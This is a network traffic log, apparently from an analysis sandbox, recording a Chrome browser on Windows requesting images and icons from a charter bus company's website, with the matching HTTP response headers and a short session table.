2025-05-21 19:48:01 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 03 Apr 2024 14:34:50 GMT etag: "3fb8-61532200fa3ce" accept-ranges: bytes content-length: 16312 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:01 UTC	500	OUT	GET /employee/upload/generalSliderImages/1667934928religious-hands.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:01 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 08 Nov 2022 19:15:28 GMT etag: "6d79-5ecfa5cefebc8" accept-ranges: bytes content-length: 28025 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:01 UTC	485	OUT	GET /img_new_design/banner_slideshow/gogo-minibuses.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:01 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 05 Aug 2024 04:50:05 GMT etag: "d57e-61ee8691cb940" accept-ranges: bytes content-length: 54654 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:01 UTC	495	OUT	GET /employee/upload_editor_files/files/construction-site-hub.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:01 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 03 Apr 2024 14:37:45 GMT etag: "4af2-615322a7ff94c" accept-ranges: bytes content-length: 19186 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:01 UTC	495	OUT	GET /employee/upload_editor_files/files/hospital-shuttles-hub.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:01 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 03 Apr 2024 14:55:34 GMT etag: "4c1b-615326a39e0e1" accept-ranges: bytes content-length: 19483 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:01 UTC	483	OUT	GET /img_new_design/banner_slideshow/gogo-minibus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:01 UTC	275	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:00 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 11 Sep 2024 06:53:15 GMT etag: "15b64-621d271b80cc0" accept-ranges: bytes content-length: 88932 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:01 UTC	501	OUT	GET /employee/upload/generalSliderImages/1667934813college-students.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:01 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 08 Nov 2022 19:13:32 GMT etag: "721b-5ecfa56073358" accept-ranges: bytes content-length: 29211 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:01 UTC	494	OUT	GET /img_new_design/amenties/exterior/GOGO_Charter_bus_fleet.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:01 UTC	276	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Thu, 24 Oct 2024 05:50:08 GMT etag: "2ef0d-62532933654c9" accept-ranges: bytes content-length: 192269 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:01 UTC	491	OUT	GET /img_new_design/amenties/exterior/GOGO_minibus_parked.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
2025-05-21 19:48:01 UTC	276	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Thu, 24 Oct 2024 05:50:08 GMT etag: "55ca1-6253293366469" accept-ranges: bytes content-length: 351393 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	669	OUT	GET /img_new_design//amenties/storage-bays-in-charter-bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 09 Aug 2024 04:57:38 GMT etag: "73be-61f38fb7a7480" accept-ranges: bytes content-length: 29630 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	670	OUT	GET /img_new_design//amenties/power-outlets-in-charter-bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 09 Aug 2024 04:57:10 GMT etag: "528a-61f38f9cf3580" accept-ranges: bytes content-length: 21130 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	686	OUT	GET /img_new_design//amenties/reclining-seats-and-seatbelts-in-charter-bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 09 Aug 2024 04:58:08 GMT etag: "cc51-61f38fd443800" accept-ranges: bytes content-length: 52305 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	665	OUT	GET /img_new_design//amenties/bathroom-in-charter-bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 09 Aug 2024 04:56:28 GMT etag: "74c5-61f38f74e5700" accept-ranges: bytes content-length: 29893 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	670	OUT	GET /img_new_design//amenties/lights-and-vents-charter-bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 09 Aug 2024 04:55:40 GMT etag: "799e-61f38f471eb00" accept-ranges: bytes content-length: 31134 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	674	OUT	GET /img_new_design//amenties/media-connections-in-charter-bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 09 Aug 2024 04:54:59 GMT etag: "6b2a-61f38f2004ec0" accept-ranges: bytes content-length: 27434 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	662	OUT	GET /img_new_design/amenties/exterior/GOGO_Minibus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	276	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Thu, 24 Oct 2024 05:50:08 GMT etag: "38d70-62532933654c9" accept-ranges: bytes content-length: 232816 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	671	OUT	GET /img_new_design/amenties/exterior/GOGO_56_passenger_bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	276	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Thu, 24 Oct 2024 05:50:08 GMT etag: "330c8-62532933654c9" accept-ranges: bytes content-length: 209096 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	677	OUT	GET /img_new_design//amenties/microphone-pa-system-in-charter-bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 09 Aug 2024 04:54:13 GMT etag: "b4ff-61f38ef426740" accept-ranges: bytes content-length: 46335 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	666	OUT	GET /img_new_design//amenties/tv-screen-in-charter-bus.jpg HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 09 Aug 2024 04:53:26 GMT etag: "7881-61f38ec753d80" accept-ranges: bytes content-length: 30849 cache-control: max-age=31536000, public content-type: image/jpeg
2025-05-21 19:48:04 UTC	643	OUT	GET /css_new_design/ajax-loader.gif HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	272	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Thu, 14 Dec 2017 06:34:59 GMT etag: "202e-56047153fcac0" accept-ranges: bytes content-length: 8238 cache-control: max-age=31536000, public content-type: image/gif
2025-05-21 19:48:04 UTC	642	OUT	GET /img_new_design/city/icon2.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 01 Jul 2019 10:12:32 GMT etag: "999-58c9bddc44400" accept-ranges: bytes content-length: 2457 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:04 UTC	642	OUT	GET /img_new_design/city/icon4.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	273	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 01 Jul 2019 10:14:27 GMT etag: "34a8-58c9be49f06c0" accept-ranges: bytes content-length: 13480 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:04 UTC	656	OUT	GET /img_new_design/56-passenger-charter-bus.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	273	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 11 Sep 2024 04:47:02 GMT etag: "c670-621d0ae553d80" accept-ranges: bytes content-length: 50800 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:04 UTC	652	OUT	GET /img_new_design/18_passenger_minibus.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	273	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 11 Sep 2024 04:46:57 GMT etag: "cad9-621d0ae08f240" accept-ranges: bytes content-length: 51929 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:04 UTC	652	OUT	GET /img_new_design/24-passenger-minibus.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	273	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 11 Sep 2024 04:47:00 GMT etag: "f489-621d0ae36b900" accept-ranges: bytes content-length: 62601 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:04 UTC	642	OUT	GET /img_new_design/city/icon1.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 01 Jul 2019 10:11:13 GMT etag: "999-58c9bd90ed240" accept-ranges: bytes content-length: 2457 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:04 UTC	642	OUT	GET /img_new_design/city/icon3.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 01 Jul 2019 10:13:28 GMT etag: "af5-58c9be11ac200" accept-ranges: bytes content-length: 2805 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:04 UTC	653	OUT	GET /img_new_design/school-bus-semiperfil.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 11 Sep 2024 04:47:05 GMT etag: "11b03-621d0ae830440" accept-ranges: bytes content-length: 72451 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:04 UTC	640	OUT	GET /img_new_design/uma-logo.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 cookie: _gd_visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7 cookie: _gd_session=64a22a28-9fdf-436a-88cf-d1865f53886d cookie: _an_uid=0 cookie: _gcl_au=1.1.2043224603.1747856882 priority: u=1, i
2025-05-21 19:48:04 UTC	273	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 11 Jun 2021 05:12:50 GMT etag: "3486-5c4768f205880" accept-ranges: bytes content-length: 13446 cache-control: max-age=31536000, public content-type: image/png

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49710	142.251.2.93	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
